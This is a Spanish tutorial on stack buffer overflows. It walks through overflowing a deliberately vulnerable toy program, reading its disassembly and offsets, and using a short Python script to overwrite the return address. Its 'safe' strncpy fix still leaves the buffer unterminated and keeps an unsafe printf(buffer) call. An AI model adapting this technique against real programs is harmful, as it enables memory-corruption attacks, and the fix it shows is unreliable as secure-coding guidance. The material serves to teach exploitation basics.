Este post es la continuación de Conceptos básicos de arquitectura de procesadores x86 y Conceptos básicos de Assembler y Debugger, los cuales, brindan los conceptos necesarios para realizar un stack buffer overflow básico.

Buffer

Un buffer es un área dentro de la memoria, donde se almacenan datos de forma temporal. Generalmente, estos se encuentran en la memoria RAM.

Los buffer están diseñados para almacenar cantidades específicas de datos. A menos que, el programa que utiliza el buffer tenga instrucciones integradas para descartar datos cuando se envían demasiados a este el programa sobrescribirá los datos en la memoria adyacente al buffer.

Buffer Overflow

Cuando hablamos de un buffer overflow, ocurre cuando el programa que escribe datos en el buffer, sobrepasa la capacidad de este, llenando con más datos de los que el buffer puede manejar:

Tipos de Buffer Overflow

  • Stack overflow: es el ataque más común dentro de los buffer overflow. Como su nombre lo indica, este realiza un overflow en el stack.
  • Heap overflow: este tipo de ataque tiene como objetivo los datos del grupo de memoria abierto conocido como heap.
  • Interger overflow: una operación aritmética da como resultado un número entero que es demasiado grande para el tipo de entero destinado a almacenarlo; esto puede resultar en un buffer overflow.
  • Unicode overflow: crea un buffer overflow al insertar caracteres Unicode en una entrada que espera caracteres ASCII.

Stack Buffer Overflow

A continuación, se muestra un código de ejemplo que produce un stack buffer overflow:

#include <cstring>
#include <iostream>

int main() {
    char *payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char buffer[10];
    strcpy(buffer, payload);
    printf(buffer);
    return 0;
}

En el código anterior, el arreglo de caracteres buffer es de 10 bytes de largo,  usa la función strcpy, y la variable payload contiene 35 letras A.

En este caso, como el buffer es de 10 bytes y se están pasando 35 A, el programa se crashea debido a que la función strcpy no valida el largo del argumento que se copia en el buffer (función vulnerable), produciendo un buffer overflow.

Esto puede ser aprovechado para poder ejecutar otros programas.

Si revisamos la siguiente imagen, podemos observar que fue lo que sucedió al momento de cargar los datos en el buffer:

Ahora sabemos que la función strcpy es vulnerable a buffer overflow, para poder solucionar esto, es que debe ser reemplazada por la función strncpy:

#include <cstring>
#include <iostream>

int main() {
    char *payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char buffer[10];
    strncpy(buffer, payload, sizeof(buffer));
    printf(buffer);
    return 0;
}

Como vemos en la siguiente imagen, todos los datos después de los 10 bytes son descartados:

Encontrando un Buffer Overflow

Existen múltiples funciones que son vulnerables a un buffer overflow, aunque, esto depende de cómo son implementadas.

Dentro de las funciones que se pueden mencionar, se encuentra:

  • strcpy
  • strcat
  • gets/fgets
  • scanf/fscanf
  • vsprintf
  • printf
  • memcpy

Cualquier función que realice alguna de las siguientes operaciones, es vulnerable:

  • No validar apropiadamente los inputs antes de la operación
  • No se chequean los límites del input

Un buffer overflow puede gatillarse por cualquiera de las siguientes operaciones de buffer:

  • Input del usuario
  • Datos cargados desde un disco
  • Datos cargados desde la red

Si llegamos a tener acceso al código fuente del programa, se pueden usar herramientas de análisis estático:

Otras técnicas que pueden encontrar un buffer overflow son:

  • Generar un crasheo de la aplicación, y cuando este ocurre, encontrar la vulnerabilidad con un debugger.
  • Un análisis dinámico, usando herramientas como un fuzzer o un tracer, que rastrean la ejecución y el flujo de los datos.

Usando las técnicas anteriores, se pueden encontrar múltiples vulnerabilidades, pero una gran parte de estos (50%) no son explotables del todo, pero pueden causar un DoS u otros efectos.

Fuzzing

Software que testea los input de un programa, enviando datos inválidos. Dentro de estos se encuentran:

  • Línea de comandos
  • Datos de red
  • Bases de datos
  • Input de mouse/teclado
  • Parámetros
  • Input de archivos
  • Regiones de memoria compartida
  • Variables de entorno

Dentro de los comportamientos que valida esta técnica, se encuentran:

  • Memory hopping
  • CPU hopping
  • Crasheo
Esta técnica no siempre es efectiva, por lo tanto, no puede ser usada en el 100% de las pruebas.

Dentro de las herramientas de fuzzing que se pueden comentar, están:

Nuestro primer Stack Buffer Overflow

Para nuestro primer stack buffer overflow, tenemos el siguiente código, donde debemos sobreescribir la dirección del EIP para poder llegar a la función good_work:

#include <iostream>
#include <cstring>

int bof_function(char *str) {
	char buffer[10];
	strcpy(buffer, str);
	return 0;
}

int good_work() {
	printf("You are in good_work function\n");
	printf("Great, you did a Buffer Overflow!!\n");
}

int main(int argc, char *argv[]) {
	int bof = 0;
	printf("Hi, you are in bof_program \n");
	bof_function(argv[1]);
	if (bof == 1) {
		good_work();
	}
	else {
		printf("Try again!!!\n");
	}
	return 0;
}

Como sabemos que la función strcpy es vulnerable, podemos explotarla para poder realizar un buffer overflow.

Si lo hacemos de forma manual, se deben ingresar caracteres en el input, hasta que se produzca un error:

Ahora sabemos que es posible crashear el programa.

Si revisamos el disassembler del programa, vemos las tres funciones del programa y sus respectivas direcciones de memoria:

00401529 <__Z12bof_functionPc>:
  401529:	55                   	push   ebp
  40152a:	89 e5                	mov    ebp,esp
  40152c:	83 ec 28             	sub    esp,0x28
  40152f:	8b 45 08             	mov    eax,DWORD PTR [ebp+0x8]
  401532:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
  401536:	8d 45 ee             	lea    eax,[ebp-0x12]
  401539:	89 04 24             	mov    DWORD PTR [esp],eax
  40153c:	e8 07 84 01 00       	call   419948 <_strcpy>
  401541:	b8 00 00 00 00       	mov    eax,0x0
  401546:	c9                   	leave  
  401547:	c3                   	ret    

00401548 <__Z9good_workv>:
  401548:	55                   	push   ebp
  401549:	89 e5                	mov    ebp,esp
  40154b:	83 ec 18             	sub    esp,0x18
  40154e:	c7 04 24 00 80 48 00 	mov    DWORD PTR [esp],0x488000
  401555:	e8 a6 ff ff ff       	call   401500 <__ZL6printfPKcz>
  40155a:	c7 04 24 20 80 48 00 	mov    DWORD PTR [esp],0x488020
  401561:	e8 9a ff ff ff       	call   401500 <__ZL6printfPKcz>
  401566:	c9                   	leave  
  401567:	c3                   	ret    

00401568 <_main>:
  401568:	55                   	push   ebp
  401569:	89 e5                	mov    ebp,esp
  40156b:	83 e4 f0             	and    esp,0xfffffff0
  40156e:	83 ec 20             	sub    esp,0x20
  401571:	e8 1a c0 00 00       	call   40d590 <___main>
  401576:	c7 44 24 1c 00 00 00 	mov    DWORD PTR [esp+0x1c],0x0
  40157d:	00 
  40157e:	c7 04 24 44 80 48 00 	mov    DWORD PTR [esp],0x488044
  401585:	e8 76 ff ff ff       	call   401500 <__ZL6printfPKcz>
  40158a:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
  40158d:	83 c0 04             	add    eax,0x4
  401590:	8b 00                	mov    eax,DWORD PTR [eax]
  401592:	89 04 24             	mov    DWORD PTR [esp],eax
  401595:	e8 8f ff ff ff       	call   401529 <__Z12bof_functionPc>
  40159a:	83 7c 24 1c 01       	cmp    DWORD PTR [esp+0x1c],0x1
  40159f:	75 07                	jne    4015a8 <_main+0x40>
  4015a1:	e8 a2 ff ff ff       	call   401548 <__Z9good_workv>
  4015a6:	eb 0c                	jmp    4015b4 <_main+0x4c>
  4015a8:	c7 04 24 61 80 48 00 	mov    DWORD PTR [esp],0x488061
  4015af:	e8 4c ff ff ff       	call   401500 <__ZL6printfPKcz>
  4015b4:	b8 00 00 00 00       	mov    eax,0x0
  4015b9:	c9                   	leave  
  4015ba:	c3                   	ret

Ahora si cargamos el programa en un debugger, y le agregamos el argumento de caracteres de la prueba anterior, podemos observar lo siguiente:

Vemos que se carga el argumento ingresado, y que nos encontramos en la función bof_function. Si continuamos ejecutando el programa, vemos que al momento de cargar el argumento en el stack, este no sobreescribe el Return Address que nos servirá para ir a la función good_work:

Por lo tanto, si ahora agregamos 22 letras A, seguido de los caracteres ABCD, vemos que el valor del EIP es ABCD (en hexadecimal y little endian es 44434241):

Por lo tanto, si revisamos lo que hemos encontrado hasta ahora, sabemos lo siguiente:

  • La dirección de la función good_work es 00401548 (encontrada en el disassembler)
  • Se tienen 18 junk bytes (18 A) usados para llegar al EBP
  • 4 bytes (4 A) para sobreescribir el EBP
  • 4 bytes (ABCD) para sobreescribir el EIP (Return Address)

Si usamos el siguiente script en python, podemos ingresar a la función deseada:

import os

payload = "A"*22
payload += "\x48\x15\x40"
print payload

os.system("bof_program.exe " + payload)

Recordar que la memoria debe ir escrita en little endian (48154000), y que en ASM los bytes \x00 corresponde a un NULL byte, el cual, si strcpy encuentra uno, dejará de copiar los datos.

Por lo tanto, si ejecutamos este script, vemos que muestra el contenido de good_work: